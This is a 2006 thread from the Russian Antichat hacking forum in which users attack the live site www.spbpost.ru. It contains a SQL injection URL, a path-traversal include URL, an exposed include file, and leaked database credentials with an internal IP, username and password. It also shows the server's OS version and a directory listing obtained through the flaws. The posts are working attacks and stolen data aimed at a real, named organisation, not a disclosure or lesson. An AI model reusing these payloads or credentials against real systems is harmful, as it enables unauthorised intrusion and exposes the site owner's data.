Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Sql инъекция на www.spbpost.ru (https://forum.antichat.xyz/showthread.php?t=16911)

Mobile 02.04.2006 15:10

Sql инъекция на www.spbpost.ru
 
http://www.spbpost.ru/spbpost.php?id=foto&di='1'

tclover 02.04.2006 15:13

_____http://www.spbpost.ru/spbpost/foto.inc

Mobile 02.04.2006 15:19

http://www.spbpost.ru/spbpost/
Права на директорию неправильно выставлены

drmist 02.04.2006 15:58

$link=mysql_connect('192.168.48.1','bduser','user1 253');

0_o
)))

Mobile 02.04.2006 16:13

Цитата:

Сообщение от drmist
$link=mysql_connect('192.168.48.1','bduser','user1 253');

По подробней пожалуйста...

virgoz 02.04.2006 16:36

Там и инклуды:
_http://spbpost.ru/news.php?id=../../../../../../inc
Жалко 0-байт не канает.

drmist 02.04.2006 16:48

Mobile
по подробней?
читай второй пост - это оттуда.

drmist 02.04.2006 16:55

Кстати. Зачем рефереров оставляете?

m0nzt3r 02.04.2006 17:34

Цитата:

$link=mysql_connect('192.168.48.1','bduser','user1 253');
значит мускул не на localhost-е)

Utochka 02.04.2006 17:41

да че вы с эти мускулом, я вот уже ось узнал
FreeBSD postwall.spbpost.ru 5.0-RELEASE

а вот список файлов в папке ))

1626891 drwxr-xr-x 3 spbpost wwwadmin 512 26.09.2005 17:57 cod
1627115 drwxr-xr-x 2 spbpost wwwadmin 512 12.12.2005 17:54 files
1627196 drwxr-xr-x 10 spbpost wwwadmin 2048 22.03.2006 12:21 images
1889411 drwxr-xr-x 3 spbpost wwwadmin 2048 27.03.2006 15:18 news
1889427 drwxr-xr-x 2 spbpost wwwadmin 512 11.11.2005 18:06 other
1889429 drwxr-xr-x 2 spbpost wwwadmin 512 26.09.2005 17:57 partner
1889431 drwxr-xr-x 2 spbpost wwwadmin 512 26.09.2005 17:57 pravila
1889433 drwxr-xr-x 2 spbpost wwwadmin 512 27.09.2005 20:17 service
1889445 drwxr-xr-x 2 spbpost wwwadmin 512 26.09.2005 17:57 spbpost
1889464 drwxr-xr-x 2 spbpost wwwadmin 512 26.09.2005 17:57 tarif
1889475 drwxr-xr-x 2 spbpost wwwadmin 512 26.09.2005 17:57 vakans
1634973 drwxr-xr-x 6 spbpost wwwadmin 1536 27.02.2006 13:42 test
1627202 -rw-r--r-- 1 spbpost wwwadmin 22 26.09.2005 19:45 test.php
1627284 -rw-r--r-- 1 spbpost wwwadmin 203 24.09.2005 20:04 in.php
1627285 -rw-r--r-- 1 spbpost wwwadmin 198 11.11.2005 17:13 index.php
1627286 -rw-r--r-- 1 spbpost wwwadmin 211 24.10.2005 16:26 news.php
1627287 -rw-r--r-- 1 spbpost wwwadmin 203 24.09.2005 20:04 partner.php
1627288 -rw-r--r-- 1 spbpost wwwadmin 203 24.09.2005 20:04 pravila.php
1627289 -rw-r--r-- 1 spbpost wwwadmin 203 24.09.2005 20:04 spbpost.php
1627297 -rw-r--r-- 1 spbpost wwwadmin 201 24.09.2005 20:04 tarif.php
1627382 -rw-r--r-- 1 spbpost wwwadmin 202 24.09.2005 20:04 vakans.php
1642797 drwxr-xr-x 4 spbpost wwwadmin 512 13.02.2006 20:08 podp
1627476 -rw-r--r-- 1 spbpost wwwadmin 24 11.11.2005 16:02 .htaccess


Время: 12:05